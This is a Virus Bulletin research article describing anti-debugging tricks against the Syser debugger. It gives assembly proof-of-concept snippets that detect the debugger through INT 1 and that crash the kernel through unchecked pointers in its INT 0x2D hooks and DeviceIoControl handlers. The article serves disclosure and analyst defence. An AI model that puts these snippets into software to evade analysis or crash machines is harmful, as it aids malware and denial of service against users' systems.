Anti-unpacker tricks – part four

2009-03-01

Peter Ferrie

Microsoft, USA
Editor: Helen Martin

Abstract

New anti-unpacking tricks continue to be developed as the older ones are constantly being defeated. In this series of articles Peter Ferrie describes some tricks that might become common in the future, along with some countermeasures. This month's article concentrates on anti‑debugging tricks that target the Syser debugger.


New anti-unpacking tricks continue to be developed as the older ones are constantly being defeated. This series of articles (see also [1], [2],[3]) describes some tricks that might become common in the future, along with some countermeasures.

This article will concentrate on anti-debugging tricks that target the Syser debugger. All of these techniques were discovered and developed by the author of this paper.

Syser-specific

Syser is a lesser-known debugger that could be considered to be a successor to SoftICE, since it can run on Windows Vista. It makes use of a kernel-mode driver in order to support debugging of both user-mode and kernel-mode code, including transitions in either direction between the two. It has a number of vulnerabilities.

Interrupt 1

The interrupt 1 descriptor normally has a descriptor privilege level (DPL) of 0, which means that the ‘CD 01’ opcode (‘INT 1’ instruction) cannot be issued from ring 3. An attempt to execute this interrupt directly will result in a general protection fault (‘int 0x0d’ exception) being issued by the CPU, eventually resulting in an EXCEPTION_ACCESS_VIOLATION (0xc0000005) exception being raised by Windows.

However, if Syser is running, it hooks interrupt 1 and adjusts the DPL to 3 so that it can single-step through user-mode code. However, this is not visible from within the debugger – the ‘IDT’ command, to display the interrupt descriptor table, shows the original interrupt 1 handler address with a DPL of 0, as though Syser were not present.

The problem is that when an interrupt 1 occurs, Syser does not check whether it has been caused by the trap flag or by a software interrupt. The result is that Syser always calls the original interrupt 1 handler, and an EXCEPTION_SINGLE_STEP (0x80000004) exception is raised instead of the EXCEPTION_ACCESS_VIOLATION (0xc0000005) exception, allowing for easy detection.

Example code looks like this:

 xor eax, eax
 push offset l1
 push d fs:[eax]
 mov fs:[eax], esp
 int 1
 ...
 ;ExceptionRecord
l1: mov    eax, [esp+4]
 ;EXCEPTION_SINGLE_STEP
 cmp d [eax], 80000004h
 je  being_debugged

Interrupt 0x2D

If Syser is installed, then the SDbgMsg.sys driver is loaded, even if Syser isn’t running. SDbgMsg.sys hooks interrupt 0x2D and executes the following code when interrupt 0x2D is executed:

cmp eax, 1
...
cmp byte ptr [offset l2], 0
...
mov ecx, [ecx+4] ;bug here

The value at l2 is non-zero on Windows 2000. The read from [ecx+4] without checking first if the pointer is valid leads to a kernel-mode crash (blue screen) if the original ECX register value is invalid.

Example code looks like this:

;BREAKPOINT_PRINT
push 1
pop  eax
xor  ecx, ecx
int  2dh

If Syser is running, then it hooks interrupt 0x2D and executes the following code when interrupt 0x2D is executed:

mov   ebp, esp
...
mov [ebp+var_4], eax
...
mov [ebp+var_8], edx
...
cmp [ebp+var_4], 4
...
push  [ebp+var_8]
...
call l1
...
l1: ...
mov esi, [esp+4+arg_4]
push  dword ptr [esi] ;bug here

The read from [esi] without checking first if the pointer is valid leads to a kernel-mode crash (blue screen) if the original EDX register value is invalid.

Example code looks like this:

;BREAKPOINT_UNLOAD_SYMBOLS
push 4
pop eax
cdq
int 2dh

The authors of Syser responded quickly. The interrupt 0x2D bug was fixed in Syser version 1.99. The fix works by hooking interrupt 0x0E (page-fault exception) and checking the exception address against a list of known-faulty memory-accessing instructions. If the address is on the list, then the hook changes the EIP register value to a location that returns a failure for the access. This is hardly proper practice, but it works well enough.

DeviceIoControl

As mentioned previously, if Syser is installed, then the SDbgMsg.sys driver is loaded, even if Syser isn’t running. SDbgMsg.sys exposes an interface that can be called via the kernel32 DeviceIoControl() function, and executes the following code when it is called:

 mov esi, [esp+4+arg_4]
 mov eax, [esi+60h]
 mov eax, [eax+0Ch]
 sub eax, 220004h
 jz l1
 ...
l1: ...
 mov eax, [esi+0Ch]
 ...
 push dword ptr [eax] ;bug here

The read from [eax] without checking first if the pointer is valid leads to a kernel-mode crash (blue screen) if the output buffer parameter is invalid.

Example code looks like this:

 xor ebx, ebx
 push ebx
 push ebx
 push 3 ;OPEN_EXISTING
 push ebx
 push ebx
 push ebx
 push offset l1
 call CreateFileA
 push ebx
 push ebx
 push ebx
 push ebx
 push ebx
 push ebx
 push ebx
 push 220004h
 push eax
 call DeviceIoControl
 ...
l1: db “\\.\SyserDbgMsg”, 0

Syser.sys also exposes an interface that can be called via the kernel32 DeviceIoControl() function. That code contains several vulnerabilities. For example:

 mov esi, [esp+4+arg_4]
 mov eax, [esi+60h]
 mov eax, [eax+0Ch]
 sub eax, 220004h
 jz l1
 ...
l1: push esi
 push eax
 call l2
 ...
l2: mov eax, [esp+arg_4]
 ...
 mov esi, [eax+0Ch]
 push dword ptr [esi+4] ;bug here

The read from [esi+4] without checking first if the pointer is valid leads to a kernel-mode crash (blue screen) if the output buffer parameter is invalid.

Example code looks like this:

 xor ebx, ebx
 push ebx
 push ebx
 push 3 ;OPEN_EXISTING
 push ebx
 push ebx
 push ebx
 push offset l1
 call CreateFileA
 push ebx
 push ebx
 push ebx
 push ebx
 push ebx
 push ebx
 push ebx
 push 220004h
 push eax
 call DeviceIoControl
 ...
l1: db “\\.\Syser”, 0

Another vulnerability exists in this code:

 mov esi, [esp+4+arg_4]
 mov eax, [esi+60h]
 mov eax, [eax+0Ch]
 sub eax, 220004h
 ...
 push 4
 pop edx
 sub ecx, edx
 ...
 sub ecx, 38h
 ...
 sub ecx, edx
 ...
 sub ecx, 40h
 jz l1
 ...
l1: push esi
 push  eax
 call  l2
 ...
l2: push ebp
 mov ebp, esp
 ...
 mov esi, [ebp+arg_4]
 push     dword ptr [esi+0Ch]
 call l3
 ...
l3: ...
 push   [esp+10h+arg_0]
 ...
 call  l4
 ...
l4: mov  eax, [esp+arg_0]
 mov cl, [eax] ;bug here

The read from [eax] without checking first if the pointer is valid leads to a kernel-mode crash (blue screen) if the output buffer parameter is invalid.

Example code looks like this:

xor ebx, ebx
push   ebx
push   ebx
push   3 ;OPEN_EXISTING
push   ebx
push   ebx
push   ebx
push   offset l1
call   CreateFileA
push   ebx
push   ebx
push   ebx
push   ebx
push   ebx
push   ebx
push   ebx
push   220084h
push   eax
call   DeviceIoControl
...
l1: db “\\.\Syser”, 0

Another vulnerability is in this code:

 mov esi, [esp+4+arg_4]
 mov eax, [esi+60h]
 mov eax, [eax+0Ch]
 sub eax, 220004h
 ...
 push 4
 pop edx
 sub ecx, edx
 ...
 sub ecx, 38h
 ...
 sub ecx, edx
 ...
 sub ecx, 40h
 ...
 sub ecx, edx
 jz  l1
 ...
l1: push esi
 push eax
 call l2
 ...
l2: push ebp
 mov ebp, esp
 ...
 mov esi, [ebp+arg_4]
 push dword ptr [esi+0Ch]
 ...
 push eax
 call l3
 ...
l3: ...
 push [ebp+arg_4]
 call l4
 ...
l4: push ebp
 mov ebp, esp
 ...
 mov edx, [ebp+arg_0]
 ...
 mov [edx], al ;bug here

The write to [edx] without checking first whether the pointer is valid leads to a kernel-mode crash (blue screen) if the output buffer parameter is either invalid or read-only.

Example code looks like this:

 xor ebx, ebx
 push ebx
 push ebx
 push 3 ;OPEN_EXISTING
 push ebx
 push ebx
 push ebx
 push offset l1
 call CreateFileA
 push ebx
 push ebx
 push ebx
 push ebx
 push ebx
 push ebx
 push ebx
 push 220088h
 push eax
 call DeviceIoControl
 ...
l1: db “\\.\Syser”, 0

Again, the authors of Syser responded quickly. Version 1.99 of the debugger included some checks for NULL pointers, but that did not solve the underlying problem. A simple matter of changing the pointers to another invalid value – such as the number one – exposes the problem again.

Like SoftIce [3], Syser supports the writing of certain values to arbitrary memory locations. The arbitrary writing is possible because the debugger does not perform sufficient address validation. The values that can be written can form part of a multi-stage attack. For example, by writing a zero to a particular location, a conditional branch can be turned into a do-nothing instruction. When applied to system-sensitive code, such as the granting of privileges, the result of such a modification allows even the least privileged account to bypass all system protection.

Direction flag

When an exception occurs, Syser makes an assumption about the direction flag – that the flag is clear – prior to performing a string operation to save the context. If the direction flag is set, then the string operation overwrites some variables that are used later, and this leads to a kernel-mode crash (blue screen).

Example code looks like this:

std
mov eax, d ds:[0]

This problem has been disclosed publicly [4], but described incorrectly (it is unrelated to the technique described in [1]). The authors of Syser responded quickly and the bug was fixed in version 1.99.

In part five of this article (next month) we will look at some anti-debugging tricks that target the OllyDbg debugger and its plug-ins.

The text of this paper was produced without reference to any Microsoft source code or personnel.

Bibliography

[1] Ferrie, P. Anti-unpacker tricks – part one. Virus Bulletin, December 2008, p.4. http://www.virusbtn.com/pdf/magazine/2008/200812.pdf.

[2] Ferrie, P. Anti-unpacker tricks – part two. Virus Bulletin, January 2009, p.4. http://www.virusbtn.com/pdf/magazine/2009/200901.pdf.

[3] Ferrie, P. Anti-unpacker tricks – part three. Virus Bulletin, February 2009, p.4. http://www.virusbtn.com/pdf/magazine/2009/200902.pdf.

[4] Syser causes BSOD. Souriz’s weblog. http://souriz.wordpress.com/2008/05/09/syser-causes-bsod/.

twitter.png
fb.png
linkedin.png
hackernews.png
reddit.png

 

Latest articles:

Nexus Android banking botnet – compromising C&C panels and dissecting mobile AppInjects

Aditya Sood & Rohit Bansal provide details of a security vulnerability in the Nexus Android botnet C&C panel that was exploited to compromise the C&C panel in order to gather threat intelligence, and present a model of mobile AppInjects.

Cryptojacking on the fly: TeamTNT using NVIDIA drivers to mine cryptocurrency

TeamTNT is known for attacking insecure and vulnerable Kubernetes deployments in order to infiltrate organizations’ dedicated environments and transform them into attack launchpads. In this article Aditya Sood presents a new module introduced by…

Collector-stealer: a Russian origin credential and information extractor

Collector-stealer, a piece of malware of Russian origin, is heavily used on the Internet to exfiltrate sensitive data from end-user systems and store it in its C&C panels. In this article, researchers Aditya K Sood and Rohit Chaturvedi present a 360…

Fighting Fire with Fire

In 1989, Joe Wells encountered his first virus: Jerusalem. He disassembled the virus, and from that moment onward, was intrigued by the properties of these small pieces of self-replicating code. Joe Wells was an expert on computer viruses, was partly…

Run your malicious VBA macros anywhere!

Kurt Natvig wanted to understand whether it’s possible to recompile VBA macros to another language, which could then easily be ‘run’ on any gateway, thus revealing a sample’s true nature in a safe manner. In this article he explains how he recompiled…


Bulletin Archive

We have placed cookies on your device in order to improve the functionality of this site, as outlined in our cookies policy. However, you may delete and block all cookies from this site and your use of the site will be unaffected. By continuing to browse this site, you are agreeing to Virus Bulletin's use of data as outlined in our privacy policy.